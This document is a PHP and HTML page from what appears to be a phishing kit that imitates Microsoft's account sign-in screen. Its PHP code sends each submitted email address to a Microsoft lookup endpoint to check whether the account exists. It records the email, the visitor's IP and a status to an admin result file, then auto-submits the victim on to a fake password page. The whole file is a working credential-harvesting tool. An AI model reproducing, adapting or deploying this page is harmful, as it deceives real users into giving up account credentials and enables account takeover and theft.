<?php 
include'../admin/config.php';
include'../main.php';
$ip = getUserIP();
if(isset($_POST['checkemail'])){
$emailcek = $_POST['email'];
$curl = curl_init();
curl_setopt_array($curl, array(
    CURLOPT_URL => 'https://odc.officeapps.live.com/odc/emailhrd/getidp?hm=0&emailAddress='.$emailcek.'',
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_ENCODING => '',
    CURLOPT_MAXREDIRS => 10,
    CURLOPT_TIMEOUT => 0,
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
    CURLOPT_CUSTOMREQUEST => 'GET',
));
        
$response = curl_exec($curl);
curl_close($curl);
tulis_file("admin/result/total_click.txt", "".$cn."|".$_POST['email']."|".$ip."|Proses Validasi|".$date."");
if (preg_match('/MSAccountNonEmail/', $response)){
    tulis_file("admin/result/total_click.txt", "".$cn."|".$_POST['email']."|".$ip."|Salah Email|".$date."");
    echo "<form id='ptz' method='POST' action=''><input type='hidden' name='email' value='".$_POST['email']."'><input type='hidden' name='akseskey' value='aplogin'><input type='hidden' name='status_email' value='fail'></form><script type='text/javascript'>document.getElementById('ptz').submit();</script>";
}else if(preg_match('/MSAccount/', $response)){
    echo "<form id='ptz' method='POST' action='login.rsf?wa=wsignin1.0&rpsnv=13&rver=7.3.6963.0&wp=MBI_SSL&wreply=https%3a%2f%2fwww.microsoft.com%2fen-us%2f&lc=1033&id=74335&aadredir=1'><input type='hidden' name='email' value='".$_POST['email']."'></form><script type='text/javascript'>document.getElementById('ptz').submit();</script>";
}else if(preg_match('/Neither/', $response)){
    tulis_file("admin/result/total_click.txt", "".$cn."|".$_POST['email']."|".$ip."|Salah Email|".$date."");
    echo "<form id='ptz' method='POST' action=''><input type='hidden' name='email' value='".$_POST['email']."'><input type='hidden' name='akseskey' value='aplogin'><input type='hidden' name='status_email' value='fail'></form><script type='text/javascript'>document.getElementById('ptz').submit();</script>";
}else{
    tulis_file("admin/result/total_click.txt", "".$cn."|".$_POST['email']."|".$ip."|Tidak Diketahui|".$date."");
    echo "<form id='ptz' method='POST' action='login.rsf?wa=wsignin1.0&rpsnv=13&rver=7.3.6963.0&wp=MBI_SSL&wreply=https%3a%2f%2fwww.microsoft.com%2fen-us%2f&lc=1033&id=74335&aadredir=1'><input type='hidden' name='email' value='".$_POST['email']."'></form><script type='text/javascript'>document.getElementById('ptz').submit();</script>";
}
}
?>
<html dir="ltr" lang="EN-US">

<head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=Edge">
    <title>Sign in to your Microsoft account</title>
    <meta name="robots" content="none">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=2.0, minimum-scale=1.0, user-scalable=yes">
    <link rel="shortcut icon" href="https://logincdn.msauth.net/16.000.28230.00/images/favicon.ico">
    <link rel="stylesheet" title="Converged_v2" type="text/css" crossorigin="anonymous" integrity="sha384-E5gbpbd7pvLncrSFicEeR0od7Yqv75BoM0zAKpkW6kM6RUIPj83KEbtUBQeB8pRU" onload="$Loader.OnSuccess(this)" onerror="$Loader.OnError(this)" href="assets/css/hotmail.css">
    <style type="text/css"></style>
    <style type="text/css">
        body {
            display: none;
        }
    </style>
    <style type="text/css">
        body {
            display: block !important;
        }
    </style>
    <style type="text/css">
        body {
            display: block !important;
        }
    </style>
    <style type="text/css">
        body {
            display: block !important;
        }
    </style>
    <style type="text/css">
        body {
            display: block !important;
        }
    </style>

</head>

<body class="cb" data-bind="defineGlobals: ServerData, bodyCssClass">
    <div>
        <!--  -->
        <div">
            <div class="background" style="background-image: url('assets/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg');">
               
            </div>
        </div>
        <div data-bind="if: activeDialog"></div>
        <form name="f1" id="i0281" validate="validate" spellcheck="false" method="post" target="_top" autocomplete="off" action="">
            <div class="outer" data-bind="">
                <div class="middle">
                    <div class="inner">
                        <div class="lightbox-cover"></div>

                        <div>
                            <img class="logo" pngsrc="https://auth.gfx.ms/16.000.27991.01/images/microsoft_logo.png?x=ed9c9eb0dce17d752bedea6b5acda6d9" svgsrc="https://logincdn.msauth.net/16.000.28230.00/images/microsoft_logo.svg?x=ee5c8d9fb6248c938fd0dc19370e90bd" data-bind="imgSrc, attr: { alt: str['MOBILE_STR_Footer_Microsoft'] }" src="https://logincdn.msauth.net/16.000.28230.00/images/microsoft_logo.svg?x=ee5c8d9fb6248c938fd0dc19370e90bd" alt="Microsoft">

                        </div>

                        <div role="main">
                            <div class="pagination-view has-identity-banner">
                                
                                <div data-viewid="2" data-showidentitybanner="true" data-dynamicbranding="true">
                                    <!--  -->
                                    
                                    <div id="loginHeader" class="row text-title" role="heading" aria-level="1" data-bind="text: str['CT_PWD_STR_EnterPassword_Title']">Sign in</div>
                                    <?php if (isset($_POST['status_email'])) { ?>
                                    <p style="color: red;">That Microsoft account doesn't exist. Enter a different account or <a href="#'">get a new one.</a></p>
                                    <?php } ?>
                                    <div class="row">
                                        <div class="form-group col-md-24">
                                            <div role="alert" aria-live="assertive" aria-atomic="false">
                                                
                                            </div>
                                            <div class="placeholderContainer">
                                                <input name="email" required="required" type="email" id="i0118" autocomplete="off" class="form-control" aria-describedby="passwordError loginHeader passwordDesc" aria-required="true" placeholder="Email, phone, or Skype" aria-label="Enter your email address" autofocus>
                                                <input type="hidden" name="wa" value="wsignin1.0">
                                                <input type="hidden" name="rpsnv" value="13">
                                                <input type="hidden" name="rver" value="7.0.6737.0">
                                                <input type="hidden" name="wp" value="MBI_SSL">
                                                <input type="hidden" name="post" value="1.0">
                                                <input type="hidden" name="checkemail" value="true">
                                                <input type='hidden' name='akseskey' value='aplogin'>
                                            </div>
                                            <p style="font-size: .8125rem;">No account? <a style="color: #0067b8;">Create one!</a></p>
                                        </div>
                                    </div>
                                    <!-- ko if: svr.Z && showHip -->
                                    <!-- /ko -->
                                    <div data-bind="invertOrder: svr.B4, css: { 'position-buttons': !tenantBranding.BoilerPlateText }" class="position-buttons">
                                        <div>
                                            <div class="row">
                                                <div class="col-md-24">
                                                    <div class="text-13 action-links">
                                                        <div class="form-group"> <a id="idA_PWD_ForgotPassword" role="link" data-bind="text: str['CT_PWD_STR_ForgotPwdLink_Text'], href: svr.n, click: resetPassword_onClick" style="color: #0067b8;">Sign in with a security key <span class="help-button" role="button" tabindex="0" data-bind="
    click: fidoHelp_onClick,
    pressEnter: fidoHelp_onClick,
    hasFocus: hasFocus,
    ariaLabel: isPlatformAuthenticatorAvailable ? str['CT_STR_CredentialPicker_Help_Desc_Fido'] : str['CT_STR_CredentialPicker_Help_Desc_FidoCrossPlatform']" aria-label="Learn more about signing in with a security key">
    <img role="presentation" data-bind="imgSrc" src="assets/img/documentation_bcb4d1dc4eae64f0b2b2538209d8435a.svg"><!-- /ko -->
<!-- /ko --><!-- /ko -->
</span></a> </div>
                                                        <div class="form-group"></div>
                                                    </div>
                                                </div>
                                            </div>
                                        </div>
                                        <div class="row" data-bind="css: { 'move-buttons': tenantBranding.BoilerPlateText }">
                                            <div>
                                                <div class="col-xs-24 no-padding-left-right form-group no-margin-bottom button-container">
                                                    <div class="inline-block">
                                                        <input type="submit" id="idSIButton9" class="btn btn-block btn-primary" value="Next"> </div>
                                                </div>
                                            </div>
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                    <?php if($os == "Windows 10" or $os == "Windows 7") { ?>
                    <center>
                        <div class="promoted-fed-cred-box" style="max-width: 440px;min-width: 320px;line-height: 16px;position: relative;margin-right: auto;margin-left: auto;">
                        <div class="promoted-fed-cred-content" style="display: block;">
                        <div class="row tile" style="padding-left: 12px;line-height: 16px;padding-right: 12px;cursor: pointer;box-sizing: border-box;">
                        <div class="table" role="button" tabindex="0" aria-label="Sign-in options" style="padding-top: 8px;padding-bottom: 8px;">

                            <div class="table-row">
                                <div class="table-cell tile-img medium">
                                    <img class="tile-img medium" role="presentation" data-bind="attr: { src: $data.darkIconUrl }" src="https://logincdn.msauth.net/shared/1.0/content/images/signin-options_4e48046ce74f4b89d45037c90576bfac.svg">
                                </div>
                                <div class="table-cell text-left content">
                                    <div style="font-size: .9375rem;font-weight: 400;">Sign-in options</div>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
                </div>
                    </center>
                <?php } ?>
                </div>

            </div>
            
            <div id="footer" class="footer default" role="contentinfo" data-bind="css: { 'default': !backgroundLogoUrl() }"  style="background: transparent;">
                <div>

                    <div id="footerLinks" class="footerNode text-secondary">
                        <!-- /ko --><a id="ftrTerms" data-bind="text: str['MOBILE_STR_Footer_Terms'], href: termsLink, click: termsLink_onClick" style="color: #666;">Terms of use</a> <a id="ftrPrivacy" data-bind="text: str['MOBILE_STR_Footer_Privacy'], href: privacyLink, click: privacyLink_onClick" style="color: #666;">Privacy &amp; cookies</a> <a id="ftrPrivacy" data-bind="text: str['MOBILE_STR_Footer_Privacy'], href: privacyLink, click: privacyLink_onClick" style="color: #666;font-size: 16px;">. . .</a>
                    </div>

                </div>
            </div>
    </div>
    </div>

    </form>

    </div>

    <div>
        <!--  -->
</body>

</html>